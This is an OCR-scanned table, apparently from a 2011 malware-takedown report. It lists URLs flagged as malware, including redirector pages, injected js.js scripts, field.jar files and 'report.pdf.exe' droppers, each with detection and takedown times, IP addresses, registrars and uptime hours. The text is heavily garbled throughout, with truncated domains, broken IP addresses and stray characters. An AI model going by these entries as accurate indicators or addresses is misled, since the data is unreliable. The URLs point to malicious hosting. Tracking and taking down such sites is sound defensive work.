qr.net/fmon 10/26/2011 10:21 | 10/26/2011 12:17 malware _ 46.4.47.140 | PSI-USA, INC. DBA DOMAIN ROBOT OE 1.93 | 240
loseget.com/main.php?page=cbb27e326943ffc4 10/26/2011 14: 10/27/2011 5:25 falware 195.189.226.12 81 INTERNET AG A 15.41
malta.site5.com/~vividimp/ Tks74o/index.html 10/26/2011 13:59 | 10/30/2011 14:20 alware _ |74.121.239.66 UCOWS, INC. S 96.35 | 241
cm: com/0xbohv/index.html 10/26/2011 15:59 | 10/28/2011 13:55 malware _ $2.149.225.171 SC CORPORATE DOMAINS, INC. il 45.93 | 242
coptichistory.ora/gpudis/index.html 10/26/2011 17:52 | 10/31/2011 14:46 malware _ 66.7.221.122 irecti Internet Solutions Pvt. Ltd. S 16.89 | 24
qget.com, skmy7n mdex html 10/26/2011 16: 10/31/2011 8:59 malware _7.23.226.2 IRECTI INTERNET SOLUTIONS PVT. LTD. S 112.97 | 244
johnsrefuse.com/t73aylr; 10/26/2011 17: 10/27/2011 5:10 falware 9.163.150.96 egister.com Us 1102 | 24
me-me.info/9r5r61s/index. html 10/26/2011 17:58 | 10/28/2011 16:12 malware _ 46.23.66.58 oDaddy.com Inc. (R171-LRMS) K 46.24 | 246
maistel.com.br/mxi9rao/index.html 10/26/2011 16: 10/28/2011 0:25 Mmalware _4#6.105.179.222 ic.br BS 32.23 | 24
kennelv com/nldiic/index.html 10/26/2011 16:20 | 10/29/2011 13:36 malware  64.37.52.42 | 0STSO Us 69.26 | 248
fly..nseasy.com/~kennelv1/m05mdy/index.html 10/26/2011 16: 10/31/2011 6:11 falware 64.37.52.42 | ETWORK SOLUTIONS, LLC. S 09.69
1.0rq/0zm7ic0/index.html 10/26/2011 16:39 | 10/31/2011 17:24 malware _p08.109.38.129 %uDaddy,cum Inc. (R91-LROR) S 20.75
afghanstudents.in/ipOec8u/index.html 10/26/2011 17: 10/27/2011 5:38 fmalware _ 216.151.174.31 Directi Internet Solutions Pvt. Ltd. 1 11.64 | 249
csoftintl.com/~leo/2gyn8a/index.html 10/26/2011 16:44 | 10/27/2011 21:46 malware  67.192.62.32 | *ETWORK SOLUTIONS, LLC. S 29.02 | 250
members. inet.net.au/~maccadelic_new/ndb1nkl/index.html 10/26/2011 18: 10/28/2011 0:26 Mmalware  203.0.178. 90 | onnect West Au 3041
kartajouer.com/ ~kartajou/z3linh/index. html 10/26/2011 16: 10/31/2011 8:48 falware  213.186.33.19 | OVH AR 11.94 | 251
om/m0c8mz/index.htm! 10/26/2011 17: 10/27/2011 5:36 malware  69.163.1 3‘109 INEW DREAM NETWORK, LLC S 12.58 | 252
jaimegarralda.com/8isqdl/index.htmi 10/26/2011 17: 11/3/2011 6:32 alware _ 82.194.88.7 NOM, INC. BS 81.53
kartworks.qr/vrr78x/index.html 10/26/2011 1 10/27/2011 e [66.226.75.45 I1SOL INTERNET SOLUTIONS ENE US 15.69] 253
kacreati ki061/index.html 10/26/2011 1 10/28/2011 5:05 Mmalware _208.43.84.124 YNAMIC NETWORK SERVICES, INC S 35.87 | 254
mar fxrxp0/index.html 10/26/2011 18: 11/2/2011 3:55 malware | 74.121.79.98 'WW.COWEBHOSTING.COM S 53.86
\ahmmkmwp\r\/ com/zrzs157/index.html 10/26/2011 18:14 | 10/27/2011 12:29 alware _ 77.240.3.20 oDaddy.com, Inc. K 18.25 | 255
legaljunction.in/aygpqu/index.html 10/26/2011 18: 11/2/2011 17:07 talware 174.122.104.3 to Z Domains Solutions Pt. Ltd. (R124-AFIN) S 66.84 | 256
ac.com/uukdof, html 10/26/2011 18: 10/27/2011 3:31 falware _207.58.129.241 NETWORK SOLUTIONS, LLC. S 9.21 | 257
laboutikjewelry.de/pivm3h/index.html 10/26/2011 18:20 | 10/27/2011 12:51 malware  77.240.3.7 | otnetted.com UK 18.52 | 258
92956, bofco.in/htrc.html 10/26/2011 18: 11/2/2011 16:44 Mmalware _ 174.36.228.38 | irecti Internet Solutions Pvt. Ltd. 1] 66.39
92957 ricardtech.com/[z8f5hi/index.html 10/26/2011 18:17 | 10/31/2011 15:10 alware _p08.109.78.122 oDaddy.com, Inc. S 16.88 | 259
92958 air il.eu/ebsyvtk/index.html 10/26/2011 18:39 | 10/27/2011 13:05 malware | 84.154.230.15 nited-Domains AG S 18.43
92962 ‘www.web3.biz/index2.html 10/26/2011 19:29 | 10/27/2011 12:59 falware _ 74.55.181.242 | ODADDY.COM, INC. Us 17.5 | 260
92977 inkostudio.com/y0ao0c.html 10/26/2011 20: 10/31/2011 6:38 falware _79.124.76.15 | IRECTI INTERNET SOLUTIONS PVT. LTD. HG 106.2 | 261
92981 kartajouer.com/ Tiucz2n/index.html 10/26/2011 20: 11/2/2011 6:11 alware  $13.186.33.19 | VH G 53.59
9291 ry.com/644mwy; html 10/26/2011 20: 10/28/2011 4:18 falware 2.167.131.160 oDaddy.com, Inc. S 317
93005 qr.net/fmka 10/26/2011 21:40 | 10/27/2011 13:02 nalware _ 46.4.47.140 | PSI-USA, INC. DBA DOMAIN ROBOT OE 15.37 | 262
93007 ricardtech.com/4dlwq3/index.html 10/26/2011 21:55 | 10/31/2011 15:11 falware _ p08.109.78.122 oDaddy.com, Inc. S 13.27
93015 www.declude.com/x-note.htm 10/26/2011 22:14 | 10/27/2011 13:08 falware _ 216.144.195.172 oDaddy.com, Inc. Us 14.9 | 263
93016 v Instantinternetifestyle.com/89lorv mdex html 10/26/2011 22:27 | 10/28/2011 17:56 malware _ |84.106.168.8 | NOM, INC. S 43.48
9301 members.iinet.net.au 10/26/2011 23: 10/28/2011 2:18 falware  203.0.178.90 | onnect West Au 27.03
93020 shorl.com/hugarutigrami 10/26/2011 23:10 | 10/27/2011 13:15 alware _08.78.100.231 OTSTER Us 14.09 | 264
93023 lemari com/3z8b3g/index.html 10/26/2011 23:22 | 10/27/2011 13:23 alware _ 75.126.221.216 NLINENIC, INC. S 14.01
9302 tie.ly/_gagccm 10/26/2011 23:30 | 10/27/2011 13:21 falware _ 66.45.248.130 | ibya Telecom and T Us 13.85 | 265
93035 |http://203.146.170.92/ ~jeewonbi/iwy4qco/index.htmi 10/27/2011 1:59 | 10/28/2011 18:46 malware _ 03.146.170.92 UCOWS.COM CO. TH 40.8 | 266
93037|htty 3dc in/2taf7z/index. html 10/27/2011 2: 10/27/2011 4:58 falware _18.67.248.136 Net4India (R7-AFIN) 1] 2.64
93072|htty 4y01dc.html 10/27/2011 4:20 | 10/27/2011 13:18 malware 193.202.50 | OMINALIA G 8.96
53080|nttp://shresthmabi com/irs/cax report_2387410931346.pdf.exe 10/27/2011 6: 10/27/2011 6:59 alware  69.16.252.12 | UBLICDOMAINREGISTRY.COM 1] 0.54 | 267
93081|http://crimsonpaint.com/main.php?page=11eeb33ec7cbd948 10/27/2011 6:36 | 10/27/2011 13:27 Malware $4.103.36.49 | IME LABS, LLC TR 6.86 | 268
93085]http://migre.me/5ZTtq 10/27/2011 7:18 | 10/27/2011 13:12 alware _ p00.98.218.122 oDaddy.com Inc R41-ME HR 5.9 | 269
93100]http://listenagency.it/f8teig/index.html 10/27/2011 9:29 | 10/27/2011 15:45 Malware #6.16.88.56 | di Massimo D'Aguanno i 6.28 | 270
93104]http://203.146.170.92/ ~kapimovi/8ji4vip/index.html 10/27/2011 12:18 | 10/28/2011 16:35 malware _ $03.146.170.92 P_ADDR TH 28.29
93105]http://www.BIL ions.us/4ns605i/index.html 10/27/2011 11:37 | 10/27/2011 12:50 alware _09.90.77.35 NOM, INC. S 123 | 271
93106 |http://www .com/images/is.is 10/27/2011 13:25 | 10/28/2011 20:24 malware _ 66.7.220.43 UBLICDOMAINREGISTRY.COM S 30.99 | 272
93100]ttp://jaimegarralda.com/ 1cax]dm/index.trmi 10/27/2011 12: 11/3/2011 6:34 malware _ $2.194.88.7 NOM, INC. BS 62.22
93148|http://web3.biz/epliam/index.html 10/27/2011 16:23 | 10/29/2011 13:21 falware _ 74.55.181.242 ODADDY.COM, INC. Us 44.97 | 273
93149|http://valuestor om, wu912\7 index.html 10/27/2011 16:52 | 10/29/2011 13:23 alware _ $4.207.151.139 UCOWS, INC. S 44.51 | 274
93150 http: ry.com/fp3pau/ind: 10/27/2011 19: 10/28/2011 4:19 falware 2.167.131.160 oDaddy.com, Inc. S 8.66
93153 |http://jepretstore.com/9c609iw/inde: htmi 10/27/2011 19:41 | 10/27/2011 21:47 malware _ |74.120.70.137 V. JOGJACAMP 1D 2.11 | 275
93154|http://jepretstore.com/kzft2u/index.html 10/27/2011 19: 11/1/2011 11:28 falware 174.120.70.137 V. JOGJACAMP 1D 11.77
93155|http://jepretstore.com/tfum27/index.html 10/27/2011 19:42 | 10/27/2011 21:48 falware _ |74.120.70.137 V. JOGIACAMP 1D 2.09
93160|http://stellacrociere.it/uzv97v/index.html 10/27/2011 19:44 | 10/30/2011 11:44 malware _p13.205.38.22 | iscali Italia s.p.a. i 64.01
93173 |http://kacreati hd dex.html 10/27/2011 19:01 | 10/29/2011 13:25 malware _08.43.84.124 | YNAMIC NETWORK SERVICES, INC S 42.4
93184 |http://maistel.com.br/sb1n51k/index.html 10/27/2011 21: 10/28/2011 0:27 falware 4#6.105.179.222 VH 5§ 3.03
93186|http://184.82.155.195/ ~madicsla/z5pcabo.html 10/27/2011 23:56 | 10/29/2011 13:26 malware | 84.82.155.195 P_ADDR S 375
93187 |http://203.146.170.92/% kOon3t/index.html 10/27/2011 2 10/28/2011 16:41 malware _ p03.146.170.92 P_ADDR TH 16.79
93188]http://ricar com/r01eks1/index.html 10/27/2011 23:04]10/31/2011 15:1 e |208.109.78.122 GoDaddy.com, Inc. [us 88.14
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93189 kacreati ing. index.html 10/27/2011 23:05 | 10/28/2011 17:50 malware 08.43.84.124 YNAMIC NETWORK SERVICES, INC S 18.75
93190 host1.hosting2000.0rg, ’”Droger\ i86omy/index.html 10/27/2011 23:13 | 10/30/2011 15:57 malware 6.7.210.94 nlineNIC Inc. S 64.73
93194 host1.hosting2000.0rg/~progen/ 1tIx5h, html 10/27/2011 23:14 | 10/30/2011 15:58 malware 6.7.210.94 nlineNIC Inc. (R64-LROR) S 64.74
93196 com/~froeter/hwnxOu/index.html 10/27/2011 23:17 | 10/30/2011 15:30 malware 0.86.71.82 NETWORK SOLUTIONS, LLC. S 64.23
93204 203.146.170.92/~jeewonbi/9k0on3t/index.html 10/28/2011 2:07 | 10/28/2011 17:05 malware 03.146.170.92 P_ADDR TH 14.96
93206 203.146.170.92/~kapimovi/y1syl1/index.html 10/28/2011 2:09 | 10/28/2011 16:46 malware 03.146.170.92 P_ADDR TH 14.63
93207 203.146.170.92/~kapimovi/zk73xh8/index. html 10/28/2011 2:09 | 10/28/2011 16:43 malware 03.146.170.92 P_ADDR TH 14.56
93208 203.146.170.92, 2du8go/index.html 10/28/2011 2:10 | 10/28/2011 16:43 malware 03.146.170.92 P_ADDR TH 14.55
93209 3dc.in/xwplug5/index.html 10/28/2011 2:13 | 10/29/2011 13:41 malware 18.67.248.136 Net4India (R7-AFIN) 1] 35.46
93212|http://alassite.com/2hyl0.html 10/28/2011 2:15 | 10/28/2011 17:45 malware '4.220.207.163 ASTDOMAIN, INC. us 15.5 76
93214 tillman.org/2quuvww, html 10/28/2011 1:21 | 10/30/2011 15:27 malware 09.126.254.152 letwork Solutions LLC (R63-LROR) S 62.1 77
93216|http://apsvivai.it/ducvyf/index.html 10/28/2011 2:19 | 10/28/2011 19:44 malware 17.73.236.40 | licom s.r.l. I 17.41 78
93221 ity.net/wkcyh3a/index.htmireport_327296572179.pdf.exe| 10/28/2011 1:28 | 10/28/2011 4:20 malware 73.192.120.22 UCOWS, INC. S 2.86 79
9322 ‘coptichistory.org/br3adss5, html 10/28/2011 2:21 | 10/30/2011 10:59 malware 6.7.221.122 | irecti Internet Solutions Pvt. S 56.63
93229 org/o0udgv/index.html 10/28/2011 2:23 | 10/31/2011 17:23 malware 6.7.221.96 | ucows Inc. (R11-LROR) S 86.99
93230/ ht st\l\man org/osr25f/index.html 10/28/2011 2:15 | 10/30/2011 10:55 malware 09.126.254.152 letwork Solutions LLC (R63-LROR) S 56.67
93233 corrt ‘'onno2y/index.html 10/28/2011 2:25 | 10/28/2011 13:53 malware 74.127.108.127 & 1 INTERNET AG S 11.46
93234 ‘4mocahz/index.html 10/28/2011 2:27 | 10/28/2011 17:10 malware 74.127.108.127 & 1 INTERNET AG S 14.72
93236|http taekwun do.biz/drvhkd5/index.html 10/28/2011 2:30 | 10/28/2011 14:04 malware 4 66.182 SCIO TECHNOLOGIES INC. 1 11.57
93237 'tar] om/9tvd.html 10/28/2011 2:38 | 10/30/2011 14:10 malware '4.208.87.43 & 1 INTERNET AG us 59.52 280
9323 powerinchristworldministries.com/7mjqwd, html 10/28/2011 3:00 | 10/28/2011 17:37 malware 4.220.215.90 ASTDOMAIN, INC. S 14.61 281
93241 ‘www.kpmar ‘gchne2/index.html 10/28/2011 3:01 11/1/2011 21:09 malware 74.121.79.98 IRECTI INTERNET SOLUTIONS S 14.13
93244 203.146.170.92/ ~jeewonbi/xwniz9e/index.html 10/28/2011 2:52 | 10/28/2011 23:21 malware 03.146.170.92 P_ADDR TH 20.5
93245 | htty ‘thehomet ifcbss/index.html 10/28/2011 3:02 10/28/2011 4:06 malware 84.154.88.218 NOM, INC. us 1.07 282
93246 |htty cm com/8pchicd/index.html 10/28/2011 3:03 | 10/28/2011 17:05 malware 2.149.225.171 SC CORPORATE DOMAINS, INC. I 14.04
93249 t ers.com/1a5pu9i.html 10/28/2011 3:21 11/1/2011 8:45 malware 3.189.7.115 | K2 GROUP LTD. UK 101.4 283
93254 ‘azurepaint.com/main.php? f2ec2ccc 10/28/2011 3:56 | 10/28/2011 17:09 malware 95.189.226.13 101 INTERNET, INC. (0101domain.com) A 13.21 284
93259 ‘webser com/jeemj25/index.html 10/28/2011 4:23 | 10/30/2011 10:57 malware 73.193.200.240 IRECTI INTERNET SOLUTIONS S 54.57
93260 ‘'www. bar .ie/4ionck2.html 10/28/2011 4:28 11/4/2011 13:16 malware 59.134.237.112 andon Grammer School IE 176.8 285
93261 riverirs.com/main.php?page=11750cdaf4bde6a7 10/28/2011 4:29 | 10/28/2011 17:15 malware 95.189.226.13 KG.NET, INC. A 12.77
93262 ‘www.glowproper com.au/yj06epg/index.html 10/28/2011 4:34 | 10/31/2011 11:25 malware 21.50.218.99 | elbourne IT AU 78.85
93263 ‘www.instantinternetlifestyle.com/vnz3ldn/index.html 10/28/2011 4:46 | 10/28/2011 14:11 malware 84.106.168.8 | NOM, INC. S 9.41
93271 ‘www. laserdentmexico.c images/js.js 10/28/2011 5:22 | 10/28/2011 17:16 malware 74.120.23.125 oDaddy.com, Inc. us 11.91 286
93275 |htty ‘www. haliza.com/eagerlyhungerhounds, html 10/28/2011 7:06 10/28/2011 8:27 malware 10.4.45.183 | IRECTI INTERNET SOLUTIONS PVT. LTD. Y 1.35 287
93276 igiarc m/exceptionalrate/index.html 10/28/2011 7:10 | 10/30/2011 15:24 malware 1.31.152.69 | UCOWS, INC. 1 56.23 288
93278 ‘'americandartsmadrid.com, lex.html 10/28/2011 6:55 | 10/30/2011 14:13 malware 17.76.156.107 NICLINE.COM S 55.3 289
93279 ‘www. haliza.com, html 10/28/2011 7:06 10/28/2011 8:26 malware 10.4.45.183 | IRECTI INTERNET SOLUTIONS PVT. LTD. a(‘( 1.33
93280 afa.com/frenzyenclosurefetch/index.html 10/28/2011 7:35 10/28/2011 9:14 malware 12.36.75.204 | ODENCEHISPAHARD, S.L S 1.64 290
93297 ‘'www. haliza.com/mechanismfriararrow, html 10/28/2011 9:49 | 10/28/2011 13:56 malware 10.4.45.183 | |OMHOST.COM Y.
93298|ht 5342953645.0nline.de/~t ‘w7y9kh/index. html 10/28/2011 10:00 | 10/28/2011 20:05 malware 7.106.248.107 &1 Internet AG DE 291
93299 ‘getfel-statfll.serveirc.com/main.php?page=11750cdaf4bde6a7 10/28/2011 11:08 | 10/28/2011 13:13 malware 95.189.226.13 ITALWERKS INTERNET SOLUTIONS LLC DBA NO-IP A
93300 'sysdev.clanteam.com/eisbcfc/index.html 10/28/2011 9:58 | 10/29/2011 13:30 malware 7.220.217.235 oDaddy.com, Inc. S 292
93302 ‘www. haliza.com/pr remy/index.html 10/28/2011 9:56 | 10/28/2011 14:06 malware 10.4.45.183 | [OMHOST.COM Y
93305 |htty igiarc m/carefullyblood/index.html 10/28/2011 11:35 | 10/30/2011 11:43 malware 1.31.152.69 | UCOWS, INC. I
93306 pubdre parsonrod, html 10/28/2011 11: 10/28/2011 14:02 malware 17.160.232.35 & 1 INTERNET AG S 293
93307 americandartsmadrid.com/frankbooks/index.htmlhttp:/tie.ly/_gaagce 10/28/2011 11 10/28/2011 13:58 malware [217.76.156.107 ARSYS INTERNET, S.L. D/B/A NICLINE.COM S
93308 2.8a.5446.static.theplanet.com/~tr keg7nl/index.htm! 10/28/2011 1 11/3/2011 3:26 malware 0.84.138.2 | OFTLAYER TECHNOLOGIES, INC S 294
93310 ‘'americandartsmadrid.com, Shcwerscuttlsh index. html 10/28/2011 11:33 | 10/30/2011 11:48 malware 17.76.156.107 RSYS INTERNET, S.L. D/B/A NICLINE.COM S‘§
9331 ‘www. haliza.com/attracti 10/28/2011 12:49 | 10/28/2011 13:08 malware 10.4.45.183 [OMHOST.COM Y.
93319 mastermir 'yShbqds, mdex.html 10/28/2011 11:49 | 10/31/2011 10:32 malware 4.53.108.210 YNADOT, LLC Us
93323 afa.com/governmentemerge/index.html 10/28/2011 11:56 | 10/28/2011 17:19 malware 12.36.75.204 ODENCEHISPAHARD, S.L %§ 295
93324 ‘theoriecentr .nl/z46y3d|/index.html 10/28/2011 14:39 11/1/2011 10:13 malware  #6.235.45.46 ebReus B.V. L 296
93329 afa.com/nannystrongbasement/index.html 10/28/2011 12:20 | 10/28/2011 17:20 malware 12.36.75.204 ODENCEHISPAHARD, S.L Sf
93330 afa.com/stockfanciful/index. html 10/28/2011 12:16 | 10/28/2011 17:22 malware 12.36.75.204 ODENCEHISPAHARD, S.L S
93332 ‘computersteward.com/5pmgf4/index.html 10/28/2011 12:25 | 10/28/2011 17:32 malware 84.173.73.187 oDaddy.com, Inc. S 297
93333 toilettassen.nl/fp7tzs/index.html 10/28/2011 12:27 10/31/2011 1:57 malware 7.233.6.234 %]nlntern?fnn‘n ing L 298
93335 htty tetra-asbl.be/6x87r2w/index.html 10/28/2011 13:23 11/3/2011 4:55 malware 88.138.85.77 urodns S.A. OE 299
93337 htty e.C ‘ebxbxt, html 10/28/2011 14:42 10/29/2011 7:53 malware 2.165.38.12 NETISSIME.COM DE 300
93343 |htty g m/gracefull html 10/28/2011 13:41 | 10/30/2011 15:19 malware 1.31.152.69 OLT Engine S.r.| 1
93344/|htty afa.com, index.html 10/28/2011 13:47 | 10/28/2011 16:59 malware 12.36.75.204 ODENCEHISPAHARD, S.L %FS
93348 m/congr abl html 10/28/2011 14:06 | 10/30/2011 15:17 malware 1.31.152.69 UCOWS, INC. 1]
93354 CI'UISEI'E\ZEI’\ eu/qij6jt/index.html 10/28/2011 15:09 10/31/2011 9:03 malware 1.26. 54 ‘asyhosting BV NL 301
93356 ‘americandartsmadrid.com/prostrateplush/index.html 10/28/2011 15:19 | 10/30/2011 14:11 malware 17.76.156.107 RSYS INTERNET, S.L. D/B/A NICLINE.COM S
93361 Ites-global.com/%7Eftpuser/1kghwi2/index.html 10/28/2011 15:39 | 10/28/2011 17:02 talware _ $#6.226.194.97 | NOM, INC. R 302
93366 ‘www.hebramadre.com.ar/I8ecm2m.html 10/28/2011 16:10 | 10/31/2011 11:04 malware 74.120.63.98 | Hostgator S 303
933 ‘eewqr12.servebeer.com/main.php?page= 11750r:daf4bde5a7 10/29/2011 1:59 10/31/2011 7:23 malware 95.189.226.14 ITALWERKS INTERNET SOLUTIONS LLC DBA NO-IP Ua 304
93392 ‘americandartsmadrid.ct 10/29/2011 2:58 | 10/30/2011 14:34 malware 17.76.156.107 RSYS INTERNET, S.L. D/B/A NICLINE.COM S
93512 ‘gent-filoz.serveirc.com, ma\rhDhD?DHQE—4749d799dd4ﬁlec7 10/31/2011 7:56 | 10/31/2011 8:08 malware 0-ip.com RU 05
93593 estmoqul 'main.php?page=4749d799dd461ec7 11/1/2011 6:05 11/1/2011 8:55 malware KG.NET, INC. RU 06
93926 ht ‘adulttoybazaar.com/nacha-data/index.php?592845890228 11/4/2011 13:59 11/4/2011 14:42 malware oDaddy.com, Inc. S 07
93936 partydjmarcel.nl/Ifxmjg/index.htm! 11/4/2011 14:36 11/5/2011 11:36 malware ronon AG OE 08
93937 1es.com/7x8ybi htm 11/4/2011 14:51 11/4/2011 15:55 malware _ 74.208.207.155 & 1 INTERNET AG S 9
93938 ‘graphwinner.com/main.php?page=0d08b1d7ac0e24c0 11/4/2011 15:03 11/5/2011 14:52 talware _$9.208.34.116 101 INTERNET, INC. RU 0
94021 layt 6hb4l5/index.html 11/6/2011 7:01 11/8/2011 19:40 malware 66.132.149.22 ector GoDaddy.com, Inc. us 1
94031 'shre om/galgy8/index.html 11/6/2011 8:33 11/7/2011 3:15 malware 9.16.252.12 Redirector IRECTI INTERNET SOLUTIONS PVT. S 2
94032 'www.swimgym.net/images/js.js 11/6/2011 9:46 11/7/2011 9:34 malware 0.84.118.182 Redirector OMAINPEOPLE, INC. S
94071 WWW.agr um.com.au/includes/domit/report.pdf.exe 11/7/2011 1:21 11/8/2011 9:07 malware 17.58.251.7 Hijacked Website lanetDomain AU 4
94149 fajarbenua.co.id/55079w/index.html 11/8/2011 6:25 11/8/2011 12:05 malware 6.30.34.55 edirector andi.or.id p
94223 ogijockusch.de/k69gju/index.html 11/9/2011 3:36 11/9/2011 8:44 malware 7.238.192.98 Redirector ENIC OE 6
94225 htty 0.uk/~bantom3r, gxcfv1w index.html 11/9/2011 5:08 11/9/2011 7:27 malware 2.233.121.75 Redirector nternetters Ltd K
94226 kurosaki.centelia.net/images/js. j: 11/9/2011 5:19 11/9/2011 8:15 malware 89.248.173.14€Redirector |ENOM, INC. L 8
94227 ‘coloigue.com/main.php?page=: anEO73f551fCC12 11/9/2011 5:18 11/9/2011 14:01 malware 4.102.11.168 Redirector mamecheap.com TR 9
9422 jamosintranet.com/js.js 11/9/2011 5:45 11/9/2011 8:51 malware 174.132.128.25Redirector MONIKER us 0
94229 itmgroup-lic.com/js/is.jis 11/9/2011 5:26 11/9/2011 7:30 malware 205.186.183.1 ector DOTSTER us 1
94230 ‘wirewinners.com/main.php?page=a5de073f551fcc12 11/9/2011 5:46 11/9/2011 13:52 malware 9.208.34.116 Redirector ASTDOMAIN, INC. RU 2
94233 estoptic.com/content/field.jar 11/9/2011 6:53 11/9/2011 14:50 malware Dedicated Web HostilENOM, INC. RU
94234 estoptic.com/main.php?page=a5de073f551fcc12 11/9/2011 7:02 11/9/2011 13:59 malware edirector NOM, INC. RU
94237 ‘wirewinners.com/content/field.jar 11/9/2011 7:42 11/9/2011 14:47 malware Dedicated Web HostilFASTDOMAIN, INC. RU
94239 ‘westfiber.com/main.php?page=a5de073f551fcc12 11/9/2011 8:29 11/9/2011 14:12 malware Redirector 01DOMAIN, INC. RU
94241 ‘westfiber.com/content/field.jar 11/9/2011 8:30 11/10/2011 7:31 fmalware Dedicated Web Hosti|101DOMAIN, INC. RU
94244 WWW.grt is.is 11/9/2011 9:08 | 11/10/2011 18:08 malware 193.202.50 Redirector lia.com AR
94245 |htty Www anti.com/js.js 11/9/2011 9:07 | 11/10/2011 18:09 malware 1.227.6.40 edirector INLINENIC, INC. TR 4
94249 igoobe.fr/js.is 11/9/2011 9:06 11/9/2011 13:50 malware 0.86.130.2 edirector &1 Internet AG us
94251 udio.com/bjac2do/index.html 11/9/2011 9:23 11/9/2011 14:02 malware 25.5.114.58 Redirector EB.COM.PH AH 6
94253 n.de/b180xn/index.html 11/9/2011 9:31 11/9/2011 14:03 malware 212.227.184.19Redirector 1&1 Internet AG PE
94254 basket| C 8b4yx1/index.html 11/9/2011 9:54 | 11/9/2011 14:07 malware 6.7.221.78 edirector oDaddy.com, Inc. S 8
94257 batht ‘oy4Im8, html 11/9/2011 10:09 11/9/2011 13:56 malware 174.37.183.103 ector GANG OF DESIGNER us 9
94258 clubfirst.org/2ba0jra.html 11/9/2011 10:10 | 11/10/2011 18:08 malware 184.154.125.2¢Redirector GoDaddy.com, Inc. (R91-LROR) us 0
94260 baborexyu.com/hikt859/index.html 11/9/2011 14:16 11/9/2011 15:13 malware 94.9.95.177 Redirector CTIVE 24 AS SE 1
94261 deds.nl/~barnhoornm/7xexel, html 11/9/2011 10:17 | 11/10/2011 18:11 malware 213.222.29.18: ector Xtended Internet L 2
94262 bakeca-incontrii.com/gctwtx/index.html 11/9/2011 10:34 | 11/9/2011 13:59 malware 09.190.61.5 ed\rector IRECTI INTERNET SOLUTIONS PVT S 3
94264 'syedaliat com/5gpna.html 11/9/2011 10:29 | 11/10/2011 16:19 malware 188.138.120.1 ACTIVE REGISTRAR, INC. DE 4
94265 |htty n.de/4e082z/index.html| 11/9/2011 10:35 11/9/2011 14:06 malware 212.227.184. 1§BEd\rectDr 18&1 Internet AG DE
94266 |http://babor.com.hr/vm3gyh, html 11/9/2011 11:03 11/10/2011 6:29 malware 94.9.94.203 Redirector .oopia AB SE 335
94267 |htty n.de/epvzdyo/index.html 11/9/2011 11:05 11/9/2011 11:20 malware 212.227.184.19Hijacked Website 18&1 Internet AG DE
942 ttp: om/j4t8. html 11/9/2011 20:06 | 11/10/2011 18:11 malware 13.186. 19 Redirector WVH FR 36
94289 |htty ‘'www. launas.fr/fqot.html 11/9/2011 20:10 | 11/10/2011 18:33 malware 80.247.22: ector INFRANCE CONSEIL SAS FR 37
94290|http://netcenterpro.com/p28v65/index.html 11/9/2011 20: 11/9/2011 21:24 malware 174.122.106.15Redirector ENOM, INC. us 38
94291|http://bakou.gr/clk1y5|/index.html 11/9/2011 2 11/10/2011 1 e |62.1.206.117 |Redirector APYMQNA ©OEOAQPA GR 39
94292 |http://babor.me/dxyumvz/index.html 11/9/2011 20:24 | 11/10/2011 18:35 malware 94.9.95.179 _Redirector Active 24 AS R136-ME (247) E 40
94293 |http://bankruptcyintro.com/tpne31t/index.html 11/9/2011 20:19| 11/10/2011 18:37|malware _|67.227.213.96 |Redirector [1 & 1 INTERNET AG us 41
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94294|http://basketl com/n5bfbg/index.html 11/9/2011 20:24 | 11/10/2011 18:39 malware 6.7.221.78 edirector oDaddy.com, Inc. Us 22.2: 342
94295 |htty aborexyu.com/u2rf8pt/index.html 11/9/2011 20:26 11/10/2011 7:25 malware 94.9.95.177 edirector CTIVE 24 AS E 10.98 343
94297 |htty aborexyu.com/hjkt859/index.html 11/9/2011 20:28 11/10/2011 7:26 malware 94.9.95.177 edirector CTIVE 24 AS E 10.97
9429 aby com/mkr0f2/index.html 11/9/2011 20:30 | 11/10/2011 18:39 malware 174.120.173.17Redirector GoDaddy.com, Inc. S 22.15 44
94299 arriott.com.ve/tvxkpy, html 11/9/2011 20:37 | 11/10/2011 18:39 malware 3.246.136.20 Redirector Servitepuy C.A Us 22.04 45
94300 que.com/b74xIcb/index.html 11/9/2011 20:36 | 11/10/2011 16:23 malware  9$5.215.61.22 edirector MIHOSTING.NET 55 19.78 46
94301 |http://pass66.dizinc.com/~timbytec/nhdoum, html 11/9/2011 20:44 | 11/10/2011 18:39 malware 6.7.200.85 irector NOM, INC. S 21.93 47
94302 |http://eslah.com/xf8k8o/index.html 11/9/2011 20:48 | 11/10/2011 18:39 malware 7.18.65.74 edirector NOM, INC. Us 21.86 48
94303 |http://babor.com.hr/he9fb41/index.html 11/9/2011 20:52 | 11/10/2011 18:49 malware 94.9.94.203 edirector .oopia AB ﬂg 21.94
94304/ http://baby! com/r7q9r63/index.html 11/9/2011 20:57 | 11/10/2011 19:00 malware 174.120.173.17Redirector GoDaddy.com, Inc. us 22.05
94305 |htty ‘deds.nl/~barnhoornm/itfoluj/index.html 11/9/2011 21:02 | 11/10/2011 18:46 malware 213.222.29.18: ector Xtended Internet L 21.73
94316 |http://barghest.sg/7w4its, html 11/10/2011 1:10 | 11/10/2011 18:43 malware 6.96.147.117 Redirector NSTRA CORPORATION PTE. LTD. S 17.55 349
94317 i/t om/content/field.jar 11/10/2011 1:46 11/10/2011 8:13 malware  89.208.34.116 Hijacked Website NETWORK SOLUTIONS, LLC. RU 6.46
94321 ‘thecockatielcage. ct 'qupk9u6/index.html 11/10/2011 6:17 | 11/10/2011 16:23 malware 6.7.200.85 edirector oDaddy.com, Inc. S 10.11
94322 om/mpvsgi2.html 11/10/2011 6:25 | 11/10/2011 18:43 malware 9.175.91.162 Redirector NOM, INC. K 12.31 350
94323 bl nl/aj87iu/index.html 11/10/2011 6:28 11/10/2011 7:31 malware 193.202.110.1 ector One.com A/S PK 1.05| 351
94324 jonbling.com/js.js 11/10/2011 6:36 | 11/10/2011 18:47 malware 82.50.147.1 edirector oDaddy.com, Inc. SG 12.19 352
94325 |htty interkitty.com/content/field.jar 11/10/2011 5:03 11/10/2011 7:27 malware 193.106.174.21Dedicated Web Hosti com RU 2.4 353
94326 ‘www.esellitny.com/js.js 11/10/2011 6:34 | 11/12/2011 21:59 malware '4.50.25.160 edirector ebhost4life us 63.41 354
94327 Www rison.com/js.js 11/10/2011 6:24 | 11/10/2011 14:54 malware 195.128.184.22Redirector |ENOM, INC. L 8.5| 355
9432 interkitty.com/main.php?page=034a24544f58c8d7 11/10/2011 6:23 | 11/10/2011 15:08 malware 3.187.142.14 Redirector mamecheap.com RO 8.76
